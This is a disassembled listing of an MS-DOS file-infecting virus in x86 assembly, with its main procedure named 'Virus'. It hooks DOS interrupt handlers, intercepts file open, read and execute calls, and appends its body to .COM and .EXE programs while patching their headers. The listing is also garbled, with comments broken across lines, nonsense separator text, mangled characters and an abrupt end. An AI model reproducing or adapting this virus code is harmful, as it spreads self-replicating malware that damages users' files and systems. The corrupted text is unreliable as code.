Data_1e EQU 4; (0000: 0004 = 7fbh)
DATA_2E EQU 6; (0000: 0006 = 70h)
Data_3e EQU 4CH; (0000: 004c = 88h)
DATA_4E EQU 84H; (0000: 0084 = 16h)
DATA_6E EQU 0AH; (0046: 000A = 0)
DATA_7E EQU 16H; (0046: 0016 = 0)
Data_8e EQU 2ch; (0046: 002c = 50h)
Data_9e EQU 8ABH; (0046: 08Ab = 4146h)
DATA_10E EQU 8ADH; (0046: 08AD = 3154h)
DATA_11E EQU 0AH; (08D4: 000A = 2F9H)
DATA_12E EQU 0CH; (08D4: 000c = 3872h)
DATA_13E EQU 100H; (08D4: 0100 = 0dfh)
DATA_14E EQU 1; (4815: 0001 = 0fffh)
DATA_15E EQU 100H; (4816: 0100 = 0FFH)
DATA_16E EQU 1; (8343: 0001 = 0fffh)
DATA_17E EQU 0AH; (8344: 000A = 0)
DATA_18E EQU 0EH; (8344: 000E = 8344h)
DATA_49E EQU 900H; (8344: 0900 = 0)
DATA_50E EQU 902H; (8344: 0902 = 0)
DATA_51E EQU 904H; (8344: 0904 = 8344h)
DATA_52E EQU 906H; (8344: 0906 = 0)
DATA_53E EQU 9EFH; (8344: 09ef = 0)
DATA_54E EQU 10afh; (8344: 10AF = 0)
DATA_55E EQU 10B1H; (8344: 10B1 = 0)
DATA_56E EQU 10B3H; (8344: 10B3 = 0)
SEG_A Segment Byte PUBLIC
Assume CS: SEG_A, DS: SEG_A
ORG 100H
Virus Proc Far
Start:
MOV AH, 30H; '0'
INT 21h; DOS SERVICES AH = Function 30H
Get DOS VERSION NUMBER AX
CMP Al, 3
JB LOC_1; JUMP IF BELOW
MOV AX, 1200H
Int 2fh; multiplex / spooler al = func 00H
Get Installed Status
CMP AL, 0FFH
LOC_1:
MOV AX, 0BH
JC LOC_4; JUMP IF Carry Set
MOV AH, 4AH; 'J'
MOV BX, 140H
INT 21h; DOS Services AH = Function 4ah
Change Mem Allocation, BX = SIZ
JC LOC_4; JUMP IF Carry Set
CLI; disable interrupts
Push CS
POP SS
MOV SP, 13FEH
Call Sub_1; (01EB)
STI; enable interrupts
MOV AX, DS: DATA_8E; (0046: 002c = 50h)
OR AX, AX; ZERO?
JZ LOC_5; JUMP IF ZERO
Call Sub_13; (07EC)
Mov ES, AX
XOR DI, DI; Zero RegisterXor AX, AX; ZERO Register
LOC_2:
ScaSw; Scan ES: [Di] for AX
JNZ LOC_2; JUMP IF NOT ZERO
ScaSw; Scan ES: [Di] for AX
MOV DX, DI
Push ES
POP DS
MOV AH, 48H; 'h'
MOV BX, 0FFFH
INT 21h; DOS Services AH = Function 48H
; Allocate Memory, BX = bytes / 16
MOV AH, 48H; 'h'
INT 21h; DOS Services AH = Function 48H
; Allocate Memory, BX = bytes / 16
Mov ES, AX
MOV AH, 49H; 'I'
INT 21h; DOS SERVICES AH = Function 49h
; Release Memory Block, ES = SEG
XOR AX, AX; Zero Register
MOV CX, BX
MOV BX, ES
LOCLOOP_3:
PUSH CX
MOV CX, 8
XOR DI, DI; ZERO Register
Rep Stosw; Rep when CX> 0 Store Ax To Es: [Di]
Inc BX
MOV ES, BX
POP CX
LOOP LOCLOOP_3; LOOP IF CX> 0
Push CS
POP ES
MOV BX, DATA_51E; (8344: 0904 = 44h)
MOV DI, BX
StoSw; Store Ax To Es: [Di]
MOV Al, 80h
StoSw; Store Ax To Es: [Di]
MOV AX, CS
StoSw; Store Ax To Es: [Di]
MOV AX, 5CH
StoSw; Store Ax To Es: [Di]
MOV AX, CS
StoSw; Store Ax To Es: [Di]
MOV AX, 6CH
StoSw; Store Ax To Es: [Di]
MOV AX, CS
StoSw; Store Ax To Es: [Di]
MOV AX, 4B00H
INT 21h; DOS Services AH = Function 4BH
Run progm @ds: dx, parm @es: bx
LOC_4:
Push CS
POP DS
Call Sub_13; (07EC)
JMP DWORD PTR CS: DATA_17E; (8344: 000A = 0)
LOC_5:
MOV AX, 1220H
MOV BX, 5
INT 2FH; ?? int Non-Standard Interrupt.
Push bx
Dec BX
Dec BX
MOV ES: [DI], BL
MOV AX, 1216H
INT 2FH; ?? int Non-Standard Interrupt.
Dec BX
Dec BX
MOV ES: [DI], BX
MOV AH, 48H; 'h'
MOV BX, 0FFFH
INT 21h; DOS Services AH = Function 48H
; Allocate Memory, BX = bytes / 16
MOV AH, 48H; 'h'
INT 21h; DOS Services AH = Function 48h
; Allocate Memory, BX = bytes / 16
MOV DS, AX
POP BX
MOV AX, 4200H
XOR CX, CX; Zero Registerxor DX, DX; ZERO Register
INT 21h; DOS SERVICES AH = Function 42H
; Move File PTR, CX, DX = Offset
MOV AH, 3FH; '?'
MOV DX, DATA_15E; (4816: 0100 = 0FFH)
MOV CX, ES: [DI 11H]
INT 21h; DOS Services AH = Function 3FH
Read file, cx = bytes, to ds: dx
JC LOC_4; JUMP IF Carry Set
Mov Ah, 3EH; '>'
INT 21h; DOS SERVICES AH = Function 3EH
Close File, BX = file handle
MOV AH, 26H; '&'
MOV DX, DS
INT 21h; DOS SERVICES AH = Function 26h
Create Progm SEG Prefix DX
Dec DX
MOV ES, DX
MOV ES: DATA_14E, DS; (4815: 0001 = 0FFFFH)
INC DX
MOV ES, DX
MOV SS, DX
MOV SP, 0FFFEH
Push DS
MOV AX, 100H
Push AX
Retf; Return Far
Virus Endp
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
Sub_1 proc near
Push DS
MOV AX, 1203H
INT 2FH; Multiplex / Spooler Al = Func 03h
Remove All Files from Queue
MOV CS: DATA_51E, DS; (8344: 0904 = 8344H)
XOR Si, Si; Zero Register
MOV DS, Si
MOV DI, 288H
MOV Si, CS
XCHG DI, DS: DATA_1E; (0000: 0004 = 7fbh)
XCHG Si, DS: DATA_2E; (0000: 0006 = 70h)
Pushf; Push Flags
Pushf; Push Flags
Pushf; Push Flags
MOV BP, SP
Or byte PTR [BP 1], 1
POPF; POP Flags
Pushf; Push Flags
Pushf; Push Flags
MOV Word PTR CS: DATA_52E, 8AFH; (8344: 0906 = 0)
MOV AH, 1
Call DWORD PTR DS: DATA_3E; (0000: 004c = 2288H)
POPF; POP Flags
MOV Word PTR CS: DATA_52E, 8ABH; (8344: 0906 = 0)
MOV AH, 0BH
Call DWORD PTR DS: DATA_4E; (0000: 0084 = 1716H)
POPF; POP Flags
MOV DS: DATA_1E, DI; (0000: 0004 = 7fbh)
MOV DS: DATA_2E, Si; (0000: 0006 = 70H)
POP DS
Push DS
Push ES
MOV BX, CS
MOV BP, 2AEH
MOV AX, DS: DATA_9E; (0046: 08Ab = 4146h)
MOV DX, DS: DATA_10E; (0046: 08AD = 3154h) xor Si, Si; Zero Register
MOV DS, Si
CMP AX, DS: DATA_4E; (0000: 0084 = 1716h)
JNE LOC_6; JUMP IF NOT Equal
CMP DX, Word PTR DS: DATA_4E 2; (0000: 0086 = 2C7H)
JNE LOC_6; JUMP IF NOT Equal
MOV DS: DATA_4E, BP; (0000: 0084 = 1716h)
MOV Word PTR DS: DATA_4E 2, BX; (0000: 0086 = 2C7H)
JMP Short Loc_10; (0285)
LOC_6:
MOV AX, 8ABH
MOV ES, BX
MOV CX, 10h
Cld; Clear Direction
LOCLOOP_7:
MOV DI, AX
MOV DS, DX
Cmpsw; CMP [Si] To ES: [DI]
JNZ LOC_9; JUMP IF NOT ZERO
Cmpsw; CMP [Si] To ES: [DI]
JNZ LOC_8; JUMP IF NOT ZERO
MOV [Si-4], BP
MOV [Si-2], BX
LOC_8:
Dec Si
Dec Si
LOC_9:
Dec Si
LOOP LOCLOOP_7; LOOP IF CX> 0
XCHG Si, CX
INC DX
CMP DX, BX
JNE LOCLOOP_7; JUMP IF NOT Equal
LOC_10:
POP ES
POP DS
Retn
SUB_1 ENDP
Push BP
MOV BP, SP
Push AX
MOV AX, [BP 4]
CMP AX, CS: DATA_51E; (8344: 0904 = 8344h)
JA LOC_11; JUMP IF ABOVE
Push bx
MOV BX, CS: DATA_52E; (8344: 0906 = 0)
MOV CS: [BX 2], AX
MOV AX, [BP 2]
MOV CS: [BX], AX
And byte PTR [BP 7], 0FEH
POP BX
LOC_11:
POP AX
POP BP
IRet; Interrupt Return
DB 55H, 8BH, 0ech, 80h, 0fch, 48h
DB 74H, 0AH, 80H, 0fch, 4ah, 74h
DB 05H, 3DH, 03H, 4BH, 75H, 0CH
DB 0E8H, 89H, 05H, 0E8H, 0AFH, 05H
DB 9ch, 0e8h, 87h, 05h, 0ebh, 55h
DB 80H, 0FCH, 31H, 74H, 05H, 80H
DB 0fch
DB 4ch, 75H, 0DH
LOC_12:
Push bx
MOV BX, 13H
Loc_13:
Call Sub_5; (0532)
Dec BX
JNS LOC_13; JUMP IF NOT SIGN
POP BX
JMP Short Loc_23; (0342)
LOC_14:
CMP AH, 0FH
JE LOC_15; JUMP IF Equal
CMP AH, 10H
JE LOC_15; JUMP IF Equal
CMP AH, 17h
JE LOC_15; JUMP IF Equal
CMP AH, 23h; '#'
JNE LOC_16; JUMP IF NOT Equal
LOC_15:
Call Sub_15; (081F)
JMP Short Loc_23; (0342)
LOC_16:
CMP AH, 3FH; '?' JNE LOC_20; JUMP IF NOT Equal
Call Sub_5; (0532)
JNC LOC_18; JUMP IF Carry = 0
MOV AX, 5
LOC_17:
JMP LOC_37; (0403)
LOC_18:
JNZ LOC_23; JUMP IF NOT ZERO
Call Sub_22; (0875)
JC LOC_17; JUMP IF Carry Set
Pushf; Push Flags
Call Sub_24; (0884)
Push DS
POP ES
MOV DI, DX
Call Sub_11; (0785)
Call Sub_25; (0896)
Loc_19:
POPF; POP Flags
POP BP
RETF 2; RETURN FAR
LOC_20:
CMP AH, 3DH; '='
JE LOC_21; JUMP IF Equal
CMP AH, 43H; 'C'
JE LOC_21; JUMP IF Equal
CMP AH, 56H; 'V'
JNE LOC_22; JUMP IF NOT Equal
LOC_21:
Call Sub_3; (0519)
JMP Short Loc_23; (0342)
LOC_22:
CMP AH, 3EH; '>'
JNE LOC_24; JUMP IF NOT Equal
Call Sub_5; (0532)
LOC_23:
Push Word PTR [BP 6]
POPF; POP Flags
POP BP
CLI; disable interrupts
JMP DWORD PTR CS: DATA_20; (8344: 08Ab = 0)
LOC_24:
CMP AH, 14H
JE LOC_25; JUMP IF Equal
CMP AH, 21h; '!'
JE LOC_25; JUMP IF Equal
CMP AH, 27h; '' '
JE LOC_25; JUMP IF Equal
JMP LOC_35; (03DE)
LOC_25:
Call Sub_15; (081F)
JNC LOC_27; JUMP IF Carry = 0
LOC_26:
POP BP
MOV Al, 1
IRet; Interrupt Return
LOC_27:
JNZ LOC_23; JUMP IF NOT ZERO
Call Sub_24; (0884)
Call Sub_14; (0814)
CMP AH, 14H
JNE LOC_28; JUMP IF NOT Equal
MOV AX, [Si 0CH]
MOV DX, 80H
Mul dx; dx: AX = reg * AX
XOR bx, bx; zero register
Add Al, [Si 20h]
ADC AH, BL
ADC BX, DX
XCHG AX, BX
JMP Short Loc_29; (038F)
LOC_28:
MOV AX, [Si 23h]
MOV BX, [Si 21h]
LOC_29:
MOV CX, [Si 0EH]
MUL CX; DX: AX = reg * AX
JNC LOC_31; JUMP IF Carry = 0
Loc_30:
Call Sub_25; (0896)
JMP Short Loc_26; (0364)
Loc_31:
XCHG AX, BX
MUL CX; DX: AX = reg * AX
Add DX, BX
JC LOC_30; JUMP IF Carry SetMOV CS: DATA_37, AX; (8344: 08D0 = 0)
MOV CS: DATA_38, DX; (8344: 08D2 = 0)
MOV CS: DATA_39, CX; (8344: 08D4 = 0)
Call Sub_25; (0896)
Call Sub_22; (0875)
OR Al, Al; ZERO?
JZ LOC_32; JUMP IF ZERO
CMP Al, 3
JNE LOC_34; JUMP IF NOT Equal
LOC_32:
Call Sub_24; (0884)
CMP AH, 27h; '' '
MOV AX, CS: DATA_39; (8344: 08D4 = 0)
JNZ LOC_33; JUMP IF NOT ZERO
MUL CX; DX: AX = reg * AX
JC LOC_30; JUMP IF Carry Set
Loc_33:
Push AX
MOV AH, 2FH; '/'
INT 21h; DOS SERVICES AH = Function 2FH
; Get DTA PTR INTO ES: BX
MOV DI, BX
POP AX
Call Sub_11; (0785)
Call Sub_25; (0896)
LOC_34:
POP BP
IRet; Interrupt Return
Loc_35:
CMP AX, 4B00H
JE LOC_38; JUMP IF Equal
CMP AX, 4B01H
JE LOC_36; JUMP IF Equal
JMP LOC_23; (0342)
Loc_36:
Call Sub_2; (042F)
JC LOC_37; JUMP IF Carry Set
Push Si
Push di
Push DS
Push CS
POP DS
MOV Si, Offset Data_41; (8344: 08E2 = 0)
Lea Di, [BX 0EH]; Load Effective Addr
Cld; Clear Direction
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
POP DS
POP DI
POP Si
LOC_37:
Pushf; Push Flags
SHR BYTE PTR [BP 6], 1; SHIFT W / ZEROS FILL
POPF; POP Flags
RCL Byte PTR [BP 6], 1; Rotate thru Carry
POP BP
IRet; Interrupt Return
LOC_38:
Call Sub_2; (042F)
JC LOC_37; JUMP IF Carry Set
Push AX
MOV AH, 51H; 'Q'
INT 21h; DOS Services AH = Function 51H
Get Active PSP Segment In BX
MOV DS, BX
MOV ES, BX
POP AX
CLI; disable interrupts
MOV SP, CS: DATA_41; (8344: 08E2 = 0)
MOV SS, CS: DATA_42; (8344: 08E4 = 0)
Inc SP
Inc SP
STI; enable interrupts
JMP DWORD PTR CS: DATA_43; (8344: 08E6 = 0)
; Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai piperazine; the SUBROUTINE
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_2 Proc Near
Call Sub_24; (0884)
STC; SET Carry Flag
Call Sub_4; (051A)
LOC_39:
MOV AX, 0BH
JC LOC_40; JUMP IF Carry Set
Cld; Clear Direction
Pushf; Push Flags
Push DS
MOV AX, 3522H
INT 21h; DOS Services AH = Function 35H
Get Intrpt Vector Al IN ES: BX
MOV CS: DATA_24, BX; (8344: 08B7 = 0)
MOV Word PTR CS: DATA_24 2, ES; (8344: 08B9 = 8344H)
LDS Si, DWORD PTR [BP 0AH]; Load 32 Bit Ptr
Push CS
POP ES
MOV DI, OFFSET DATA_39; (8344: 08D4 = 0)
MOV BX, DI
MOV CX, 7
Rep Movsw; Rep when CX> 0 MOV [Si] To ES: [Di]
POP DS
Call Sub_16; (084C)
Push dx
MOV AX, 4B01H
Call Sub_23; (0879)
POP DX
Call Sub_17; (0851)
JNC LOC_42; JUMP IF Carry = 0
LOC_40:
MOV [BP 8], AX
LOC_41:
Call Sub_25; (0896)
Retn
LOC_42:
MOV [BP 8], AX
MOV AH, 51H; 'Q'
INT 21h; DOS Services AH = Function 51H
Get Active PSP Segment In BX
MOV ES, BX
MOV Si, [BP]
LDS DX, DWORD PTR SS: [Si 2]; Load 32 Bit Ptr
MOV ES: DATA_11E, DX; (08D4: 000A = 2F9H)
MOV ES: DATA_12E, DS; (08D4: 000c = 3872H)
MOV AX, 2522H
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
POPF; POP Flags
JNZ LOC_41; JUMP IF NOT ZERO
Push CS
POP DS
MOV Si, Data_51E; (8344: 0904 = 44h)
MOV DI, DATA_13E; (08D4: 0100 = 0dfh)
MOV CX, 7ABH
REP MOVSB; Rep when CX> 0 MOV [Si] to ES: [Di]
Call Sub_7; (0758)
JZ LOC_44; JUMP IF ZERO
LOC_43:
CLC; Clear Carry Flag
JMP Short Loc_41; (0470)
LOC_44:
MOV DI, BX
Add di, 10h
MOV AX, DS: DATA_55E; (8344: 10B1 = 0)
MOV Word PTR Data_43, AX; (8344: 08E6 = 0)
MOV AX, DS: DATA_56E; (8344: 10B3 = 0)
Add Ax, Di
MOV Word PTR DATA_43 2, AX; (8344: 08E8 = 0) MOV CX, DS: DATA_54E; (8344: 10AF = 0)
OR CX, CX; ZERO?
JZ LOC_43; JUMP IF ZERO
LDS DX, DWORD PTR [BP 0EH]; Load 32 Bit Ptr
Call Sub_18; (0862)
JC LOC_47; JUMP IF Carry Set
MOV BX, AX
PUSH CX
Push CS
POP DS
XOR CX, CX; Zero Register
MOV DX, DS: DATA_50E; (8344: 0902 = 0)
Call Sub_20; (086B)
MOV DX, 904H
POP CX
LOCLOOP_45:
PUSH CX
MOV CX, 4
Call Sub_8; (0764)
POP CX
JC LOC_46; JUMP IF Carry Set
MOV Si, DX
Push DS
MOV AX, [Si 2]
MOV Si, [Si]
Add Ax, Di
MOV DS, AX
Add [Si], DI
POP DS
LOOP LOCLOOP_45; LOOP IF CX> 0
Call Sub_19; (0867)
JMP Short Loc_43; (04A8)
LOC_46:
Call Sub_19; (0867)
LOC_47:
Push ES
POP DS
LES BX, DWORD PTR CS: DATA_24; (8344: 08B7 = 0) Load 32 Bit Ptr
MOV DS: DATA_17E, BX; (8344: 000A = 0)
MOV DS: DATA_18E, ES; (8344: 000E = 8344h)
Call Sub_13; (07EC)
STC; SET Carry Flag
JMP LOC_39; (0436)
SUB_2 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_3 Proc Near
CLC; Clear Carry Flag
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
Sub_4:
Push AX
Push bx
Pushf; Push Flags
Call Sub_18; (0862)
JC LOC_48; JUMP IF Carry Set
MOV BX, AX
POPF; POP Flags
Pushf; Push Flags
Call Sub_6; (0533)
Pushf; Push Flags
Call Sub_19; (0867)
POPF; POP Flags
LOC_48:
POP BX
POP BX
POP AX
Retn
SUB_3 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_5 Proc Near
CLC; Clear Carry Flag
; Piperapiipiiiiiiiiiiiiipiipiiipiipiiipiiipiiipiiipiiiipiiiipiiiipiiipiiipiiipiiiipiiipiiipiiipiiipiiiiipiiipiiipiiiipiiipiipiipiiii
Sub_6:
Cld; Clear Direction
Call Sub_24; (0884)
Pushf; Push Flags
Push bx
MOV AX, 1220H
INT 2FH; ?? int Non-Standard Interrupt.
JC LOC_49; JUMP IF Carry SetXor BH, BH; ZERO Register
MOV BL, ES: [DI]
MOV AX, 1216H
INT 2FH; ?? int Non-Standard Interrupt.
JNC LOC_50; JUMP IF Carry = 0
LOC_49:
Call Sub_25; (0896)
Retn
LOC_50:
Push ES
Push CS
POP DS
MOV AX, 3523H
INT 21h; DOS Services AH = Function 35H
Get Intrpt Vector Al IN ES: BX
MOV DATA_26, BX; (8344: 08bb = 0)
MOV Word PTR DATA_26 2, ES; (8344: 08BD = 8344h)
Inc AX
INT 21h; DOS Services AH = Function 35H
Get Intrpt Vector Al IN ES: BX
MOV DATA_28, BX; (8344: 08BF = 0)
MOV Word PTR DATA_28 2, ES; (8344: 08C1 = 8344H)
MOV AH, 25H; '%'
MOV DX, OFFSET INT_24H_ENTRY
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
Dec AX
INC DX
INC DX
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
POP ES
POP BX
MOV Al, 2
XCHG Al, ES: [DI 2]
MOV DATA_33, Al; (8344: 08c9 = 0)
MOV AX, ES: [Di 5]
MOV DATA_34, AX; (8344: 08ca = 0)
MOV AX, ES: [DI 15h]
MOV DATA_37, AX; (8344: 08D0 = 0)
MOV AX, ES: [Di 17h]
MOV DATA_38, AX; (8344: 08D2 = 0)
MOV AX, ES: [DI 11H]
MOV DX, ES: [DI 13h]
MOV DATA_35, AX; (8344: 08cc = 0)
MOV DATA_36, DX; (8344: 08CE = 0)
CMP AX, 1AH
SBB DX, 0
JC LOC_55; JUMP IF Carry Set
POPF; POP Flags
JC LOC_52; Jump if carry set
MOV AX, ES: [Di 28h]
CMP AX, 5845H
JE LOC_51; JUMP IF Equal
CMP AX, 4F43H
JNE LOC_55; JUMP IF NOT Equal
MOV Al, 4DH; 'M'
LOC_51:
CMP Al, ES: [DI 2AH]
JNE LOC_55; JUMP IF NOT Equal
LOC_52:
XOR CX, CX; Zero Register
XOR DX, DX; ZERO Register
Call Sub_20; (086B)
MOV DX, 8EAH
MOV CL, 1AH
Call Sub_8; (0764)
JC LOC_57; JUMP IF Carry Set
XOR CX, CX; Zero Register
XOR DX, DX; ZERO Register
Call Sub_7; (0758)
JNZ LOC_53; JUMP IF NOT ZEROMOV AX, DATA_47; (8344: 08F2 = 0)
MOV DL, 10H
Mul dx; dx: AX = reg * AX
MOV CX, DX
MOV DX, AX
LOC_53:
PUSH CX
Push dx
Add DX, 7ABH
ADC CX, 0
CMP CX, DATA_36; (8344: 08CE = 0)
JNE LOC_54; JUMP IF NOT Equal
CMP DX, DATA_35; (8344: 08cc = 0)
LOC_54:
POP DX
POP CX
JBE LOC_56; Jump if Below OR =
LOC_55:
JMP Short Loc_62; (065D)
LOC_56:
PUSH CX
Push dx
Call Sub_20; (086B)
MOV DX, 904H
MOV CX, 7ABH
Call Sub_8; (0764)
JNC LOC_58; JUMP IF Carry = 0
LOC_57:
JMP Short Loc_60; (0656)
LOC_58:
Push ES
Push di
Push CS
POP ES
MOV Si, Data_53E; (8344: 09ef = 0)
Mov Di, Offset DS: [1EBH]; (8344: 01eb = 1EH)
MOV CX, 0C3H
REPE CMPSB; REP ZF = 1 CX> 0 CMP [Si] To ES: [DI]
POP DI
POP ES
JNZ LOC_65; JUMP IF NOT ZERO
MOV DX, CX
Call Sub_21; (0870)
MOV CX, 7ADH
MOV DX, 904H
Call Sub_7; (0758)
JNZ LOC_59; JUMP IF NOT ZERO
Add CX, 6
LOC_59:
Add ES: [DI 11H], CX
ADC Word PTR ES: [DI 13H], 0
Call Sub_8; (0764)
JC LOC_60; JUMP IF Carry Set
MOV Si, DX
DEC CX
DEC CX
Call Sub_10; (0778)
CMP DX, [Si]
JE LOC_61; JUMP IF Equal
LOC_60:
STC; SET Carry Flag
JMP Short Loc_63; (0661)
LOC_61:
CMP AL, Al
JMP Short Loc_63; (0661)
LOC_62:
MOV Al, 1
CMP Al, 0
LOC_63:
Pushf; Push Flags
LOC_64:
MOV Si, Offset Data_33; (8344: 08c9 = 0)
Cld; Clear Direction
INC DI
INC DI
Movsb; MOV [Si] To ES: [DI]
INC DI
INC DI
Movsw; MOV [Si] To Es: [Di]
Add di, 0ah
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
Movsw; MOV [Si] To Es: [Di]
MOV AX, 2524H
LDS DX, DWORD PTR DATA_28; (8344: 08BF = 0) Load 32 Bit Ptr
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
Dec AX
LDS DX, DWORD PTR CS: DATA_26; (8344: 08BB = 0) LOAD 32 Bit Ptrint 21h; DOS SERVICES AH = Function 25h
; SET INTRPT Vector Al to DS: DX
POPF; POP Flags
Call Sub_25; (0896)
Retn
LOC_65:
TEST BYTE PTR ES: [DI 4], 4
JNZ LOC_62; JUMP IF NOT ZERO
MOV AH, 0DH
INT 21h; DOS Services AH = Function 0DH
Flush Disk Buffers to DISK
Push bx
Push DS
Push ES
MOV AX, 3540H
INT 21h; DOS Services AH = Function 35H
Get Intrpt Vector Al IN ES: BX
MOV DATA_30, BX; (8344: 08c3 = 0)
MOV Word PTR DATA_30 2, ES; (8344: 08c5 = 8344H)
MOV Al, 13h
INT 21h; DOS Services AH = Function 35H
Get Intrpt Vector Al IN ES: BX
MOV DATA_22, BX; (8344: 08B3 = 0)
MOV Word PTR DATA_22 2, ES; (8344: 08B5 = 8344H)
MOV AH, 25H; '%'
LDS DX, DATA_21; (8344: 08AF = 0) load 32 bit PTR
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
MOV Al, 40h; '@'
; * MOV DX, OFFSET LOC_85; *
DB 0BAH, 59H, 0ech
MOV BX, 0F000H
MOV DS, BX
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
POP ES
POP DS
POP BX
XOR CX, CX; Zero Register
XOR DX, DX; ZERO Register
Call Sub_21; (0870)
MOV CX, 7ABH
MOV Si, 904H
Call Sub_7; (0758)
JNZ LOC_66; JUMP IF NOT ZERO
Add CX, 6
MOV AX, DATA_46; (8344: 08F0 = 0)
MOV DS: DATA_54E, AX; (8344: 10AF = 0)
MOV AX, DATA_48; (8344: 08FE = 0)
MOV DS: DATA_55E, AX; (8344: 10B1 = 0)
MOV AX, DS: DATA_49E; (8344: 0900 = 0)
MOV DS: DATA_56E, AX; (8344: 10B3 = 0)
LOC_66:
Push Si
Call Sub_10; (0778)
MOV [Si], DX
POP DX
INC CX
INC CX
Call Sub_9; (076e)
JC LOC_68; JUMP IF Carry Set
POP DX
POP CX
Call Sub_20; (086B)
MOV DX, 100H
MOV CX, 7ABH
Call Sub_9; (076e)
JC LOC_69; JUMP IF Carry Set
Call Sub_7; (0758) JNZ LOC_67; JUMP IF NOT ZERO
XOR CX, CX; Zero Register
MOV DATA_46, CX; (8344: 08F0 = 0)
MOV DATA_48, DX; (8344: 08FE = 0)
MOV Word PTR DS: DATA_49E, 0FFF0H; (8344: 0900 = 0)
XOR DX, DX; ZERO Register
Call Sub_20; (086B)
MOV DX, 8EAH
MOV CX, 1AH
Call Sub_9; (076e)
JC LOC_69; JUMP IF Carry Set
LOC_67:
CMP AL, Al
JMP Short Loc_70; (073C)
LOC_68:
MOV Al, 1
CMP Al, 0
JMP Short Loc_70; (073C)
LOC_69:
STC; SET Carry Flag
LOC_70:
Pushf; Push Flags
MOV AH, 0DH
INT 21h; DOS Services AH = Function 0DH
Flush Disk Buffers to DISK
Push DS
MOV AX, 2513H
LDS DX, DWORD PTR DATA_22; (8344: 08B3 = 0) Load 32 Bit Ptr
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
MOV Al, 40h; '@'
LDS DX, DWORD PTR CS: DATA_30; (8344: 08c3 = 0) Load 32 Bit Ptr
INT 21h; DOS Services AH = Function 25h
; SET INTRPT Vector Al to DS: DX
POP DS
JMP LOC_64; (0662)
SUB_5 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_7 Proc Near
MOV AX, DATA_45; (8344: 08EA = 0)
CMP AX, 5A4DH
JE LOC_RET_71; JUMP IF Equal
CMP AX, 4D5AH
LOC_RET_71:
Retn
SUB_7 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
SUB_8 Proc Near
MOV AH, 3FH; '?'
Call Sub_23; (0879)
JC LOC_RET_72; JUMP IF Carry Set
CMP AX, CX
LOC_RET_72:
Retn
SUB_8 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘
Sub_9 proc Near
MOV AH, 40H; '@'
Call Sub_23; (0879)
JC LOC_RET_73; JUMP IF Carry Set
CMP AX, CX
LOC_RET_73:
Retn
SUB_9 ENDP
; Piperazine Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai Paipaipaipai
Subroutine
苘苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘 苘苘 Sub_10 Proc Near
PUSH CX
XOR DX, DX; ZERO Register
LOCLOOP_74:
Lodsb; string [si] to alone
Add DL, Al
ADC DH, 0
LOOP LOCLOOP_74; LOOP IF CX> 0
POP CX
Retn
